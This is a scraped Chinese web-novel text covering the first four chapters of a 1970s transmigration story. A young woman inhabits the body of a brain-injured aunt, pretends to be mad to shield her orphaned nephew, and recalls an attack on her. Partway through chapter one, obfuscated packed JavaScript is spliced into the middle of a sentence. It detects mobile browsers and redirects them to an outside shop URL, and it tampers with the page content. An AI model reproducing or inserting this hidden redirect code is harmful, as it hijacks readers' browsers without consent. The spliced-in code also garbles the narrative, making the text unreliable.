《年代文幼年期反派的傻子小姑[七零]》 1. 第一章 舒瑜的眼皮沉得抬不起来,她用尽全身力气,却还是都动弹不得。 这种感觉糟透了,像是灵魂被硬塞进一个生锈的躯壳里,每一寸肌肉都虚乏无力。 她较着一股劲,想动动手指头,可那手就跟不是自己的一样,半点反应都没有。 就在舒瑜拼命挣扎的时候,一股没由来的寒意窜上了她的天灵盖。 明明看不到,她却清晰地感知到一道阴毒的目光正死死盯着她,带着毫不掩饰的恶意,似是恨不得置她于死地。 脚步声越来越近,每一步都踩在她心头,让她汗毛竖起。 怎么回事,她被绑架了吗? 可她的兜比脸还干净,绑她没“钱”途啊! 舒瑜急得浑身冒汗,拼命挣扎着想醒过来,可身体就是不听使唤。 就在这千钧一发之际,不远处传来了一阵轻快急促的脚步声,踩着落叶发出咯吱咯吱的轻响。 一个稚嫩的、带着点急切的童声由远及近:“小姑?小姑?你在哪儿呢?” 那道充满恶意的注视猛地一滞。 舒瑜的心提到了嗓子眼,不知道这突然出现的孩子是福是祸,最怕那恶人一不做二不休,连着那小孩一起…… 她屏息听着。 “啪”的一下,似是石头的落地声,那骇人的压迫感渐渐远去,消失不见。 舒瑜松了口气,心里感激着路过的“小救命恩人”和他不知道去哪儿了的小姑。 却没料到,那男孩竟然跑到她跟前,一双热乎乎的小手抓住她的胳膊使劲摇晃:“小姑,你咋睡在这儿了?快醒醒,该回家了。” 被这孩子一摇,舒瑜觉得身上的束缚好像松动了些,她攒足最后一点力气,猛地一挣,她的眼皮终于颤巍巍地掀开一条缝。 午间的阳光有些刺眼,她眯了好一会儿才看清,一个瘦小的男孩正蹲在她旁边,穿着件洗得发白的旧衣服,小脸上急得都是汗,一双黑亮的眼睛紧紧盯着她。 “小姑,你可算醒了!”男孩见她睁眼,明显松了口气。 她看着这孩子,零碎的记忆片段在脑中闪过,低矮的石砖房、陌生的一大家子……还有眼前这个小男孩的名字——舒明淮。 得了,这不是她昨晚熬夜看的一本年代文里的大反派的名字嘛。 而她,舒瑜,则穿成了这位大反派那早死的傻子小姑,可谓是炮灰中的炮灰,书里连她怎么死的都没有说明。 舒瑜人都麻了,她“安详”又绝望地闭上眼,可脑海里零碎的记忆和那本没看完的小说情节在脑中交织,让她头疼不已。 现在是1972年初,原身傻后半年。 书中的舒瑜,本是家里老来女,从小被爹娘娇宠着,还读完了高中,本是村里顶顶有前途的姑娘。 可一场不明不白的“意外”,后脑勺挨了狠砸,人就这么傻了。 疼她的老父亲受不住这打击,更觉得对不起因病去世,而将女儿托付给自己的老妻,身体也大不如前。 屋漏偏逢连夜雨,几个月后,他最有出息的小儿子舒卫华,也就是明淮他爹牺牲了的噩耗传回来,老爷子最后那点念想断了,一口气没上来,也跟着去了。 顶梁柱都没了,自然由大儿子舒卫国当家。 没了维系关系、压制各房小心思的大家长,大房二房马上分了家,原本还算和睦的家庭关系,在遗产和那点抚恤金面前变了味。 她和明淮,一个傻,一个小,彻底成了大嫂口中寄人篱下、“吃白饭”的累赘。 可怜明淮那孩子,爹妈都没了,爷奶也走了,在大伯家看人脸色过日子,村里村外的小孩都敢欺负他,骂他是“没爹娘的野孩子”。 小孩子可不懂什么是烈士遗孤,他们只知道,欺负舒明淮可没有人会给他出头。 不过还好,舒卫华死后没几个月,他的一位战友任务结束,惦记着好兄弟的家眷,特地寻了过来。 本想看看战友的父亲孩子过得好不好,却没成想见到的是老父坟茔、痴傻的小妹和瘦小的舒明淮。 最后,他收养了舒明淮。 舒明淮的养父家世好,个人能力也卓越,年纪轻轻就晋升到了团长,然而,舒明淮的人生并非就此一帆风顺。 或许是舒明淮从小丧母丧父,又被同龄人欺负的经历,他性子孤僻又极度敏感要强。 后来,他遇到了那个如阳光般明媚的女孩,也遇到了同样优秀的、与他处处对比的养父的亲侄子,也就是本书的男主。 两人因学习、事业,更因那份求而不得的感情,成了竞争对手,舒明淮行事越发偏激,最终一步错,步步错,成了书里那个令人唏嘘又痛恨的大反派…… 想到这里,舒瑜叹了口气。 舒明淮见她又闭上了眼睛,以为小姑是想赖在地上睡觉,心里有些着急。 可面对傻傻的小姑,他只能哄着:“好孩子是不会在地上睡觉的,小姑你起来好不好。” “衣服脏了大伯娘又要骂你了。” 大伯娘? 是了,现在当家的是原身的大嫂,一个精明又从不给他们好脸色的女人。 可回忆那零碎的片段,大房二房还争抢过他俩这拖油瓶,最后是大房更胜一筹留下了他们,这其中自然有利可图,明淮有抚恤金,她有什么呢? 原主的记忆零碎不全,连是谁害她变傻的人的脸都记不清了。 舒瑜想到方才那似乎想杀她的人,猜测那人就是害得原主变傻的罪魁祸首,不然谁会冒着犯罪的风险执着于要她一个傻子的命。 原主被砸傻肯定不是那人的目的,应该是第一次没砸死,所以才有了今天的第二次。 可那人是谁?又为什么要对原主下手呢? 一切都是未知…… 不行,她得想想办法,如果那人知道她不傻了,说不定会狗急跳墙。 舒瑜撑着地想坐起来,大脑的疼痛让她眼前发黑,忍不住“嘶”了一声。 她捂住脑袋,闭上眼睛,咬着牙等待疼痛过去。 “小姑,你头又疼了?”舒明淮小小的眉头皱起来,伸出脏兮兮的手,却又不敢碰她,只好无措地在裤子上蹭了蹭,“我扶你起来。” 他使出了全身的劲儿,小脸憋得通红,才勉强帮舒瑜坐直。 舒瑜靠在他单薄却紧绷着用力的肩膀上,能闻到孩子身上淡淡的汗味和泥土气息。 她目光扫过四周,这是村里一个偏僻的草垛子,足够僻静,确实是个下手的好地方。 “我们快回家吧,”舒明淮有些焦急地看着他来时的方向,“回去晚了,大伯娘又该骂了,说不定……说不定就不给我们留饭了。”最后一句他说得很小声,带着显而易见的害怕。 舒瑜心口像揪了一下。 书里那个后期心狠手辣、不择手段的大反派,现在只是个担心没晚饭吃的瘦弱小孩,这孩子还是她的救命恩人。 她慢慢站起来,拍了拍身上的草屑。 虽然但是,装傻保命是第一要务。 对不起了,明淮,你先忍忍。 “糖。”舒瑜学着原主的语调,眼睛直勾勾地看着舒明淮的口袋,原主的记忆里,似乎有过类似的场景,“我要吃糖。” 舒明淮愣了一下,随即小大人似的叹了口气,在自己那件明显不合身、打了好几个补丁的旧衣服口袋里摸索了半天,最后掏出一颗被压得扁扁的、糖纸都有些破损的大白兔奶糖。 他犹豫了一下,还是递了过来,眼神里有点不舍,却又努力装作不在乎:“喏,就这一颗了,小姑你吃了,头就不疼了。” 他努力哄着舒瑜,在舒明淮心里,傻掉的小姑是比自己弱小的存在,是唯一还需要他的人,也是唯一可以与他相互依偎的人。 舒瑜看着那颗躺在他小小掌心里的格外珍贵的奶糖,懵了一下。 那只是装傻的戏言,她没想抢一个小孩的糖。 她愣神的功夫,舒明淮却误会了,以为她嫌糖不好。 他有点着急,踮起脚把糖往她手里塞:“甜的,小姑,你快吃,吃了咱们好回家。” 糖纸窸窣作响,那颗他着不知藏了多久的奶糖被塞进舒瑜手心。 那点微弱的甜味,似乎真的透过糖纸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166292|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渗了出来。 舒瑜攥紧了糖,另一只手笨拙地摸了摸舒明淮硬硬的头发:“回去吧。” 男孩像是松了口气,主动牵起她的手,小心地引着她往村里走。 他的手很小,却很稳,只是手心有些粗糙。 两人慢吞吞地沿着土路往前走,夕阳把他们的影子拉得很长。 快走到那低矮的土墙时,他们迎面撞上几个正踢着石子玩的十来岁大的小子。 为首的那个黑瘦男孩一看见他们,就咧开嘴嗤笑:“傻子和野小孩回来啦?”说着,还朝他们做起了鬼脸。 他旁边的几个孩子跟着哄笑起来。 舒明淮的小身板瞬间绷紧了,牵着舒瑜的手下意识地收紧,他抿了抿唇,就想拉着她想加快脚步绕过去。 舒瑜清晰地感觉到,牵着她的小手心里变得汗津津的,舒明淮的脸色也很难看。 她目光扫过那几个孩子,最后落在舒明淮微微发抖却努力挺直的脊背上。 男孩见他们不吭声,得意地伸脚想绊舒明淮一下。 就在那只脚伸过来的瞬间,舒瑜像是被什么吓到了一样,猛地发出一声尖锐又含糊的哭叫:“啊!狗!有大狗!咬明淮!坏!” 她一边喊,一边猛地挥舞起手臂,状若疯癫地朝着那熊孩子冲撞过去。 本来莫名其妙来到这里就很烦了! 还给她整这出。 啊啊啊啊啊!都给她死! 这突如其来的发作把所有人都吓了一跳。 黑瘦男孩“嗷”一嗓子跳开,又惊又怒:“傻子你疯了,说谁是狗呢!” 舒明淮也惊呆了,直愣愣地看着突然发狂的小姑。 舒瑜却不管不顾,依旧挥舞着手,嘴里发出毫无意义的呜咽和尖叫,追着那小孩不放,把他逼得连连后退,连跪带爬地躲开。 “你别、别过来!” 其他孩子也被这阵仗吓住,一时不敢上前。 混乱中,舒瑜感觉到舒明淮用力拉了她的衣角一下,带着惊惶和急切:“小姑!小姑!该回家了!” 舒明淮有些害怕,他怕小姑的病加重了,伯父和伯娘会更嫌弃他们。 舒瑜这才像是耗尽了力气,动作慢下来,呼哧呼哧地喘着气,假装茫然地看着四周。 啊!爽了! 那小孩从地上爬起来,气得脸通红,指着她想骂什么,但看看她这副样子,又怕她再发疯,最终只是狠狠啐了一口:“晦气!我们走!” 小小年纪的,那动作神态,估计是和家里大人学的,他说完,就带着几个同伴骂骂咧咧地跑开了。 周围安静下来,只剩下风声和舒瑜急促的喘息。 舒明淮仰着头,一眨不眨地看着她,黑亮的眼睛里充满了未散的惊吓和一种说不清道不明的困惑。 他张了张嘴,似乎想问她怎么了,最终却只是更紧地拉住了她的手,小声说:“小姑,不怕了,坏蛋跑了,咱们回家。” 舒瑜垂下眼,对上孩子清澈的目光,心里五味杂陈。 她咧开嘴角笑起来:“小鱼长大了,可以保护弟弟。”小鱼是原主的小名,她爹娘都这么喊她。 “谁欺负弟弟,我就打他!” 舒明淮沉默了一下,抬头一本正经道:“小姑,我是你侄子,不是弟弟啦。”他那圆溜溜的眼睛里却有一丝水雾。 “弟弟。”舒瑜倔强地重复。 舒明淮笑了:“回家吧,回……家。” 舒瑜点点头,任由他牵着,一步步走向那间沉默的的小院子。 即使在家门口被欺负,也没有人会出来给他们出头。 舒瑜的心坚定起来,她要好好活着,和舒明淮一起。 她可以吓跑几个小屁孩,但却不能和那未知的穷凶极恶的杀人凶手硬碰硬,万一连累了明淮…… 他们现在孤立无援,也许最好的破局点,就是那个原书最强大的背景板,明淮的大佬养父了。 但也不能坐以待毙地躲着,或许可以试着找出凶手。 舒瑜沉思着,顺手把那颗奶糖放回了舒明淮侧边的小兜里。 2. 第二章 舒瑜牵着舒明淮的手,踏进小院,就见那土砖房的木门大敞着,院子不大,能看清门内的阴影里坐着的一家四口。 她还隐约嗅到了木头燃烧后的烟火气,胃部猛得抽搐一下,饥饿感涌了上来,旁边的舒明淮低着头咽了咽口水,却什么也没说。 “哟,明淮和小瑜回来啦。” 舒瑜寻声望去,只见隔壁的屋子里走出一个笑眯眯的女人,一双狭长的眼睛里闪过几分狡黠,话里话外满满的关心却莫名让人感到不适。 “二伯娘。”舒明淮呐呐唤道。 “还没吃晚饭吧?”何秀兰上前几步靠近矮墙,这墙是他们和大房分家后修的,并不高。 眼前之人的样貌和她记忆里的二嫂对上了,舒瑜故意问道:“你是谁啊?”声音脆生生的,她用低龄小孩的声线说话,夹得舒瑜自己都哽了一下。 舒明淮扯了扯舒瑜的手,没对她的不认人感到奇怪,小声道:“这是二伯娘……啊,不是!” 被舒瑜左一声右一声“弟弟”绕晕的舒明淮红了耳朵,他连忙改口:“小姑,你要叫二伯娘‘二嫂’。”七岁的舒明淮像个小大人,尽力去照顾舒瑜。 可沉迷装傻的舒瑜肯听才怪,她似乎是从刚才发疯吓走熊孩子的过程中感受到了装疯卖傻的乐趣。 “二伯娘!二伯娘!”舒瑜高声叫着,看着何秀兰逐渐强颜欢笑的脸色,差点没笑出声来。 舒明淮仰头看着舒瑜笑得明媚的脸,不知怎的,也跟着傻笑起来,没去纠正舒瑜的称呼。 平白生了辈分的何秀兰没忍住翻了个白眼,没理舒瑜,这丫头的脑子怎么瞧着更不好使了。 她才懒得和傻子计较。 反正公爹死前说了,舒瑜和舒明淮必须一起养,所以她只要哄住舒明淮这个小孩就行了。 只要舒明淮自己要求,村支书看在他烈士遗孤的份上,肯定会安排,那到时候,这抚恤金和…… 只是可惜了他们不能一家分一个,爹也真是偏心,就只为舒瑜这个要嫁出去的女儿考虑,就算人傻了,也还是爹的心头肉。 哼! “真是便宜都让大房占了。”想到这,何秀兰不免心生不满,面上却又挂上了笑容,她低头看着舒明淮。 “你们要不来二伯娘家,家里有很多好吃的……” “好你个何秀兰!在这胡说八道什么?”陈丽云冷着脸大步走出来。 陈丽云原本好端端吃着饭,也没想搭理舒瑜二人,却不想听见了何秀兰在这明晃晃地哄骗那俩傻货。 这何秀兰安的什么心她陈丽云心里清楚,她哪能让进了自己口袋里的钱跑出去。 “你俩傻站着干嘛?”陈丽云转向院子里的两人,“还不进来?” 何秀兰冷哼一声,也没了心情和陈丽云掰扯,扭头进了屋。 陈丽云不依不饶:“就知道跑外面玩,一点不知道给家里干活,要吃饭就知道回来了?” “大伯娘,我有干活……”舒明淮干巴巴地解释,却被陈丽云尖锐的声音盖住。 “真是欠了你们的。”她自然而然地忽略了舒明淮平日里给他们扫地、洗碗、喂鸡喂鸭,在陈丽云看来,这点小事,不是应该的吗! 她一边说着,一边走近他们,伸出手就要去拧舒明淮的耳朵,舒明淮身体一缩,却没敢躲开。 舒瑜的拳头硬了,她深吸一口气,一把推开陈丽云,尖叫起来:“啊啊啊!有坏人要打弟弟!” ”哎呦!”陈丽云毫无防备地踉跄着退后几步,堪堪站稳,就被舒瑜的尖叫声震得脑瓜子嗡嗡的。 她惊诧地看着舒瑜,之前这小姑子虽然傻了,可没疯到这种程度啊! “救命!救命!”舒瑜带着哭腔干嚎着,仔细看去,眼睛里没有丝毫泪意。 陈丽云脸色铁青:“舒瑜,别叫了!” “二伯娘救命,我和弟弟要去二伯娘家。” 这话一出,陈丽云心里一个咯噔,她不敢再刺激舒瑜,只能强笑着解释:“嫂子不是要打人,是想带你们吃饭去。”这么说着,她又退后两步,不敢靠近,生怕舒瑜继续发疯。 “明淮,你快哄哄你小姑。”陈丽云朝舒明淮摆摆手,让他上去安抚住舒瑜,她可不想这事闹得人尽皆知,二房还在一旁看着呢。 陈丽云也不知道今天的舒瑜是这么了,冷不丁地在外面就开始发疯,动静还这么大,以前这俩孬货可不敢反抗自己的。 舒明淮再一次目睹小姑“大显神威”,明显镇定了许多,更何况他知道小姑是因为自己才受了刺激,哪里会怕她。 “小姑,咱吃饭去吧。” 舒瑜这才冷静下来:“好呀好呀,吃饭去喽。” 不行了,嗓子要哑了。 发疯是爽,但也很耗精力,她的胃已经开始抽搐着抗议了,这种饥饿程度,舒瑜估计这身体白天就没怎么吃东西。 见舒瑜安静下来,陈丽云长舒一口,没好气地说:“进来吧。”态度很差,却不敢再随意动手了,刚才那一下折腾,惊得她心都要跳出来了。 木桌前,舒卫国见他们进来只抬头看了一眼,什么话都没说,陈丽云板着脸回到饭桌前坐下,没再搭理舒瑜他们。 陈丽云生有一子一女,大一点的是姐姐舒明蕊,弟弟舒明磊坐在她旁边,他们一家四口正好一人一凳,围着方桌。 桌上的菜很简陋,四个不怎么大的窝窝头,几块干巴巴的腊肉片淹没在咸菜里,旁边还有一盘水煮的绿菜。 至于是什么菜,舒瑜看不出来,可能是什么野菜。 舒明淮熟练得领着舒瑜去灶房拿了碗筷,大锅里剩着的玉米糊刚好够他们一人小半碗,他踩着一把破破烂烂的小木凳,才够到了灶台。 舒明淮动作很快,那木凳歪歪扭扭的,似乎下一秒就要散架,舒瑜一惊,连忙上前扶住舒明淮。 舒明淮扭头,他明亮的大眼睛对上了舒瑜略带惊慌的脸。 可能是这动作有点太“正常”了,而舒明淮又是在舒父离世后,和原主相处最多的人,他有些疑惑。 舒瑜直接把人抱下来,放在一边。 舒明淮傻住了,他呆呆地看着自己的笨笨小姑飞快地装好了玉米糊糊,一脸骄傲地把碗递到他面前:“小鱼也会装饭。” 他听到小姑嘟囔:“弟弟矮矮的,没有小鱼厉害,小鱼要照顾弟弟。” 这应该圆过去了吧? 舒瑜偷看一眼舒明淮,没发现有什么不对劲。
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“小姑,别难过。”舒明淮安慰道,虽然他不知道小姑在难过什么。 舒明淮很敏锐,这些日子,他越来越会感知别人的情绪。 舒瑜马上收起沮丧,对着舒明淮笑起来,舒明淮也跟着她笑,看上去有些傻傻的可爱,至少舒瑜觉得很可爱。 饭后,舒明淮收拾了碗筷要去洗碗,舒瑜知道,原主的父亲去世后的这半个月,家里的很多活都丢给了这个七岁的孩子。 吞了舒卫华留给明淮的大笔抚恤金不说,他们竟然还这样对一个孩子。 舒瑜心中恼火。 “不要洗碗。”舒瑜拉住舒明淮,“我要弟弟陪我玩!” 舒明淮:“可是……” “陪我玩!”舒瑜拉着舒明淮大步向外走去,舒明淮没怎么抗拒地跟着走了。 今天的小姑真好,比起洗碗,他也是更想和小姑待在一起。 小姑长不大也没关系,他会长大,他能照顾她。 两人回到他们的屋子,没错,这些日子,舒明淮是和舒瑜一间房的。 原本舒明淮和舒明磊两个男孩一屋正合适,可舒明磊总抱怨舒明淮打扰他学习,陈丽云就让舒卫国把以前的破床修了修,把舒明淮挪到了舒瑜屋里。 屋子不大,两张小床中间的过道窄得一次只能通过一个人,舒瑜以往的很多东西都不翼而飞了,她找了半天,才在床边的矮柜子里翻出一面裂了一条缝的镜子和一把大红色的塑料梳子。 舒明淮坐在床边看着舒瑜“寻宝”,也不知道自己该做什么。 七岁这个年纪本来可以上学了,可舒明淮的爹和爷接连去世,没人给他操心这个。 一直到今天,谁都没有提起过。 舒明淮每每看着堂哥坐在大伯给他打的书桌前写作业,不知道有多羡慕,也许是看多了,堂哥嫌烦了,他就搬出来和小姑住了。 “上学需要多少钱呢?”舒明淮胡思乱想着。 3. 第三章 没有哪个女人能抵抗镜子的魅力,当然也包括舒瑜。 她望向镜子,下一秒便诧异地瞪大了双眼。 那镜中人的模样竟然与现代的她一般无二,只是面容有些苍白,唇色很淡,还明显瘦了很多,显得那双圆溜溜的眼睛更大了。 舒瑜生了一双天生的狗狗眼,眼型圆润,眼尾微微下垂,灵动中透露着几分无辜的可爱,让她这个喜欢招猫逗狗、爬树、掏鸟蛋的混世魔王在小时候少挨了很多骂。 可这时候的舒瑜哪还有闲心“欣赏”自己的脸,她连忙将镜子下移,映照出一对突出的锁骨,以及靠近右锁骨下方的那一颗不易察觉的黑色小痣。 “巧合”到这种程度就不可能是巧合了。 舒瑜咬着嘴唇上起的皮,心绪繁杂。 如果身体是一样的…… “老天奶啊!”舒瑜仰躺着面向房顶,双目无神,她自然而然地心疼起自己来。 既然一模一样,那这也就是她的宝贝身体。 竟然能把她舒瑜饿瘦,这是吃了多少苦啊? 要知道,在现代,爱好美食的她就不是偏瘦的身材,一米六五的个子体重稳稳当当挂着一百二,说不上胖,但也跟“纤瘦”俩字沾不上边,肉长在该长得地方,属于那种骨肉匀停、看着就健康有力的样子。 她也曾被网上那些铺天盖地的制造身材焦虑的言论晃过眼,脑子一热,跟着折腾过一阵子减肥。 那日子真不是人过的,饿得那是一个前胸贴后背,她咬牙坚持了一个星期,可体重秤上的数字没少几两,还把自己累的够呛,她就果断放弃了。 虽然很快清醒过来,但那足足一个星期的苦,可把她自己心疼坏了。 她的身体虽然有些肉,但她自己很喜欢,现在到好,原本累死也减不下去宝贝肉肉,就这么硬生生给饿没了。 舒瑜长叹一口气,一边躺着一边又举起了镜子,瞧着瘦唧唧的可怜样儿,还有这乱糟糟的鸡窝一般的粗糙头发…… “啊——”舒瑜惨叫一声。 她那乌黑亮丽、柔顺健康的香香头发! 这可是她全身上下最宝贝的东西,每个月那点窝囊钱可有不少用在了保养头发上。 这一声可给舒明淮吓了一跳。 原本百无聊赖地看着小姑照镜子的明淮连忙跳下床凑过去。 “怎么了,小姑?” “明淮,”舒瑜僵硬着脸,仿佛能感受到头上似有若无的痒意,“我要洗头。” 小姑竟然不叫他“弟弟”了! 舒明淮听着舒瑜叫对了自己的名字,心里却没有丝毫开心,反而有种说不清的慌张。 “洗头要烧水。”明淮呐呐道。 半小时后。 舒瑜的头发浸在皂角煮的水里,身旁的大脸盆里装满了兑好的温水。 舒明淮站在舒瑜身侧,提着一个小塑料杯给舒瑜“浇水”。 费劲力气洗了个头,舒瑜坐在院子里风干着头发,她看着天际逐渐消失的光亮,仰起脑袋看看天上的星星,又看看一旁的舒明淮。 “谢谢弟弟!”舒瑜朝明淮笑着。 舒明淮听着这一声“弟弟”,竟然安心了很多,他也抿着唇笑起来,乌黑的瞳孔亮晶晶的。 头发干了,天色也晚了,舒瑜拉着明淮,摸黑回到了房间。 正值早春,他们一人一床不算厚的被子,倒也还不冷。 舒瑜躺在陌生的床上闭着眼,精神很疲惫,却又睡不着。 她只是一个普普通通美术专业刚毕业两年的小女孩。 还记得她刚毕业找不到工作,焦虑得疯狂掉头发,只能一边找工作一边运营自己的绘画账号,账号慢慢火起来,逐渐接到商单才缓过来。 后来又去进修了服装设计,进了一家还算可以的公司,日子倒也还不错。 穿书这种事,这么就发生在她身上了呢? 耳边是明淮熟睡的呼吸声,舒瑜心思烦乱,一会儿回忆过往的生活,一会儿又思索未来该怎么办,想着想就就睡着了。 …… 舒瑜陷入沉睡。 睡梦里是温馨的场景,舒瑜作为最小的妹妹很受父母疼爱,在舒瑜五岁,她娘病逝后,也还有爹的悉心照料……舒瑜无意识地弯起了嘴角,露出了幸福的笑。 慢慢的,黑暗裹挟着恐惧,进入了舒瑜的梦中。 舒瑜踩着脚下的落叶,一步一步走入林间,月光惨白,勉强勾勒出扭曲的枝丫,像鬼怪朝她伸出的手。 夜风拂过枝头的沙沙声在一片死寂中被无限放大。 舒瑜从小就很听爹娘的话,从没这么晚来过这片树林,她也是第一次知道,白天充满生机的林子,在夜晚竟是这样的可怕。 她手里捏着几根香烛,一手拎着装着纸钱的袋子,心里慌乱,带着几分后悔。 心底有个声音告诉她:往右边走! 左侧的小路边似乎立着个人形。 “宋、宋知青?”她听见自己的声音在发抖。 不远处,人影与树影交织,结合成一只巨大的狰狞的怪物,而她,似乎打扰了怪物“进食”。 黑影没动,也没出声,只有一种冰冷的、粘腻的感觉,顺着她的脊背缠绕上来。 不对!不是他! 她转身就跑,香烛滚落在一边,袋子里的纸钱撒了一地也顾不上。 身后之人好似被枯枝绊了一下,他粗声叫骂了一句。 舒瑜跑出了十来米,边跑边叫:“有没有人啊!救——” 可她的呼救声被猛地打断。 舒瑜的后脑勺先是一麻,随即一阵剧痛席卷而来,黏腻的带着铁锈腥味的液体蜿蜒至耳后,顺着脖颈而下。 一时间,整个世界天旋地转,泥土和腐烂树叶的气味扑面而来。 舒瑜倒在地上,脑后剧痛不减,她的视线也逐渐模糊,最后的光亮里,是眼尾余光里晃动的着的狰狞树影。 在她意识彻底陷入黑暗的前一瞬,不远处传来凌乱的脚步声和一个年轻男人惊慌的喊叫:“舒同志?你怎么了?你在哪儿?” 男人的声音传来的一刹那,她身后的人下意识向后一缩,飞快地提着一把铲子,跌跌撞撞地逃远了。 最后,只剩下无边无际的的黑暗,以及那滞留在鼻翼处的令人作呕的泥土腥气,久久不散…… 鸡叫声响起,天色只是略亮,舒瑜惊醒,可过于疲惫的精神让她昏睡过去。 再次睁眼,只见旁边那张小木板床上,被子叠成了歪歪扭扭的长方体,舒明淮早就不在屋里了。 没有钟表,舒瑜也不知道现在是什么时候 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陈丽云懵了一下,随即脸上露出明晃晃的嫌弃,嗤笑道:“你娘?你娘早没了!坟头草都老高了,还在这儿搬你娘的话?真是个傻透了的!” 因着对这个娇惯的小姑子长久以来的不满,这几句话,陈丽云几乎是脱口而出。 饭桌上喝稀饭的“呼噜”声停了。 舒卫国端着碗的手顿住,脸上的肉紧绷起来。 他想起自己那早死的娘,对他们这几个孩子总是温柔又呵护的,他像明淮这么大的时候,别说洗碗,连灶房都很少进,一天到晚就知道在外头野。 就算后来个子蹿高了,能摸着灶台了,洗碗也是十天半月轮不上几回。 记忆里更多的是,他娘站在门口喊他回家吃饭的模样,声音拖得长长的,带着笑,而他就和伙伴们道别,朝家的方向跑去。 即使自己闯祸了,被娘虎着脸教训一顿或是被爹打一顿,好像也挺好的。 舒卫国想着。 陈丽云还没觉出不对劲,见舒瑜瞪着眼,还要接着骂:“死人都抬出来了,我看你是疯得没救了。” 舒瑜心想:“大妈,你完了。” 果不其然,下一秒…… “闭嘴!” 碗重重磕在桌上,舒卫国沉着脸站起来,他盯着陈丽云,声音不高,却明显压抑着怒火:“那是我娘。” 陈丽云被他这眼神和语气刺得一哆嗦,这才猛地回过味来:她刚才说的可是舒卫国的亲娘,是自己的婆婆! 虽说婆婆没得早,可这话要传出去,她脊梁骨都得被人戳断。 屋里一下子安静了,舒明磊和舒明蕊也战战兢兢地不敢说话。 舒卫国没再看陈丽云发白的脸,目光扫过舒瑜,又掠过舒明淮低垂的脑袋,最后对陈丽云撂下一句:“以后碗筷,你自己收拾。” 说完,他就出门上工去了。 什么叫她自己收拾? 这饭难道是她陈丽云一个人吃的吗? 陈丽云气的胸口不断起伏着,可到底是自己说错了话,理亏,只能板着脸吃了稀饭,最后又洗了碗,叮嘱自己两个孩子赶紧上学去,也急急忙忙上工去了。 舒瑜松了口气,至少明淮不用踩着破凳子刷锅,蹲在地上洗碗了。 4. 第四章 家里只剩下他们两个人。 舒明淮:“谢谢小姑。” “不谢不谢。”舒瑜得意的表情逗笑了舒明淮,她就知道只要提起他们的娘,舒卫国就不会无动于衷。 一个晚上过去,舒瑜脑子里的记忆已经梳理得差不多了,对这一大家子倒也算了解。 她这大哥算不上坏人,当然也不能说是好人,只唯独对娘的感情很深,每年的祭拜都是他自己操持的多,甚至不假借陈丽云的手。 舒明淮听着院子里的鸡叫,对舒瑜说:“小姑,你别再一个人跑出去了,我喂了鸡就来陪你。”小萝卜头装作学大人的模样说话,说不出的可爱。 被一个七岁孩子这样操心的叮嘱,舒瑜也没有半点不好意思,毕竟脸皮已经在一次一次发疯中变厚了。 她站直敬礼,一脸认真,目光坚毅:“是,明淮同志。” 舒瑜眼尖地注意到了舒明淮红彤彤的耳朵,忍住笑意,她承认,自己就是那么幼稚。 逗小孩哥玩也太有成就感,舒瑜的恶趣味不断地网上冒。 但事实上,舒瑜也不是真的那样不着调,她主要是想让性格沉闷的明淮开心活泼一点。 也不知道究竟是谁哄谁,反正两个人都挺高兴。 舒瑜和明淮一起喂了鸡。 家里还养着两头猪,舒明淮把猪食槽填满,舒瑜就远远地站在猪圈外面,不敢靠近。 小时候舒瑜放假回村陪爷奶,不知怎的就打开猪圈,去骚扰正在美美吃饭的猪,把家里懒得出汁的大白猪都给惹生气了,差点被拱飞,她也被吓得哇哇大哭。 从那以后,她就留下了很深的心理阴影,“猪”也成了她最害怕的动物。 当然,吃还是爱吃的。 比如肥瘦相宜的红烧肉…… 吸溜! 看两头猪挤在一起“吧唧吧唧”拱着食槽,舒瑜想着昨晚的几根野菜和没什么滋味的玉米糊。 这年头,她要什么时候才能吃上一顿好的啊? 舒瑜叹气,转身溜回了房间。 昨晚匆匆忙忙洗完头,天就黑了,房间的灯光昏黄,看不太清,打理头发也麻烦,她想趁现在把头梳了。 由于缺失营养而发黄枯燥的头发,许久没好好梳过了,就算洗了,一晚上过去,还是打着结,乱糟糟的披在脑后。 舒瑜找出梳子,这种颜色夸张的塑料梳子她小时候在奶奶家也有一把,现在看着倒有些怀念。 舒瑜想着想着,心绪飞出去,就习惯性地往脑后一梳。 “痛痛痛!”舒瑜捂住后脑,才反应过来自己那丝滑柔顺的头发已经一去不复返了。 这时,舒明淮推门进来,他想问问小姑要不要和自己一起去割猪草。 要是以前,他自己一个人就直接出门了,可他现在很想和小姑一起,也不用她干活,只要和他说说话就好。 舒明淮好像已经忍受不了以往一个人默默干活或者发呆的日子,他觉得自己变得“不坚强”了,但又不想变回去。 他见舒瑜捂着头,以为是她头疼病又犯了,担心地叫道:“小姑!” 舒瑜苦着脸,说道:“没事,梳头扯到头发了。” “梳子好坏。”她又补充一句傻言傻语,也是非常“敬业”了。 舒明淮嘴巴微张,面上迷茫了一瞬,似是对小姑的不靠谱有了更深的体会。 “小姑,我给你梳吧。” 什么? 他们一大一小面面相觑。 舒瑜是懵了,她没想到七岁的舒明淮会提出给她一个大人梳头,这下,她对别人眼中自己的痴傻程度才有了实感。 不愧是她“明日影后”,演技一流。 “好呀。”虽然有“欺负”小孩的嫌疑,舒瑜还是答应了。 舒明淮见舒瑜高高兴兴地把梳子递给他,心头一轻,接过了梳子。 舒瑜坐在小板凳上,背对着舒明淮,托着下巴看着简陋的小院子。 明淮的动作很轻,舒瑜内心却有些沉重,她刚刚分明看到了舒明淮眼中的期盼与请求,看着竟有些可怜。 她小时候只会为了零食和玩具露出这种表情。 舒明淮学着陈丽云给舒明蕊梳头的样子,生疏笨拙却轻柔地梳顺了舒瑜的头发。 见舒瑜没有喊疼,舒明淮放松了紧绷的身体,试探道:“头梳好了,小姑陪我去割猪草好不好?” 舒明淮知道自己做了事,再提出请求,对方就很有可能答应,没人教过他这个,但他就是自然而然这么做了。 舒瑜一愣,隐约摸清了舒明淮的心理,她很想告诉舒明淮,即使他不帮她做事,她也愿意陪他。 